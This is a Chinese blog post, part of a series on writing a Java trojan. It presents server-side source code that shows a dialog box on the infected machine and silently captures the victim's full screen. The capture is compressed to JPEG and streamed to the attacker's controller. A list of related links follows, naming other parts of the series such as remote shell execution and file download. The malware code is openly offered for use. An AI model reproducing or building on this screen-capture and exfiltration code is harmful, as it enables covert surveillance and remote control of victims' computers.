java 木马开发(5)---服务端 --- 对话框函数和截屏函数
来源:互联网 发布:如何下载淘宝红包 编辑:程序博客网 时间:2024/06/05 00:07
介绍了如何在服务端弹出一个对话框和截取服务端屏幕两个功能函数
显示对话框函数
void showDialog(String s) {
new ShowDialogThread(s).start(); //启动一个线程}
//线程类 采用的方式是继承Thread类
class ShowDialogThread extends Thread {
String info;
public ShowDialogThread(String s) { //构造函数接收需要显示的参数
this.info = s;
}
public void run() {
JOptionPane.showMessageDialog(null, info); //弹出对话框
}
}
===================================
截屏函数
void sendPic() {
/* Rectangle指定坐标空间中的一块区域 从左上角(0,0)开始,
* 然后用Toolkit函数获得本机系统的屏幕宽度和高度,这里是取得全屏的尺寸。
*/
//使用Robot类获取屏幕 返回BufferedImage对象,利用这个对象可以很方便的对图像进行操作
BufferedImage bi = robot.createScreenCapture(new Rectangle(0, 0,
Toolkit.getDefaultToolkit().getScreenSize().width, Toolkit.getDefaultToolkit().getScreenSize().height));
//将图像装到字节数组中
byte[] imageData = getCompressedImage(bi);
if (imageData != null) {
try {
dos.writeUTF("2start"); //告诉控制端将要传输截屏图像了
dos.writeInt(imageData.length); //告诉控制端将要传输的图像的大小
dos.write(imageData);//开始传输截屏图像
} catch (IOException e) {
e.printStackTrace();
}
}
}
//将图像装到字节数组中
public byte[] getCompressedImage(BufferedImage image) {
byte[] imageData = null;
try {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
//将生成的图像以jpg格式,写入到字节数组输出流
ImageIO.write(image, "jpg", baos);
//创建字节数组
imageData = baos.toByteArray();
} catch (IOException ex) {
imageData = null;
}
return imageData;
}
- java 木马开发(5)---服务端 --- 对话框函数和截屏函数
- java 木马开发(7)---服务端---锁住鼠标函数 mouseLock 和 闪屏函数 Flash
- java 木马开发(4)---服务端 ---接收指令函数takeOrder()
- java 木马开发(6)---服务端 --- 文件下载函数
- java 木马开发(3)服务端判断为linux时的执行模块ServerLin (构造函数介绍)
- java 木马开发(9)---服务端 完结 完整代码
- java 木马开发(8)---服务端--- 调用平台shell去执行输入指令
- java 木马开发(1)
- 对话框知识点和函数(二)
- 对话框知识点和函数(三)
- php常见木马函数
- 木马常用AIP函数
- C#写木马服务端的开发
- 对话框函数
- 对话框函数
- 处理图片木马的函数
- 处理图片木马的函数
- MFC 一个对话框调用另一对话框中的控件和函数
- optimization
- P1060 开心的金明
- kali 2.0 网络配置
- [codeforces761F] Dasha and Photos
- 蓝桥杯搭积木问题DFS
- java 木马开发(5)---服务端 --- 对话框函数和截屏函数
- 树的重量_洛谷1268_递推
- 面试宝典12
- Hibernate的基本概念和CURD
- GTX1070显卡驱动导致the system is running in low-graphics mode解决办法
- 微信小程序页面布局方式 (react native也可以用)-温故而知新
- #“Machine Learning”(Andrew Ng)#Week 3_1:Classification and Representation
- Maven学习记录(一)--IDEA下环境配置
- IOS 获取系统时间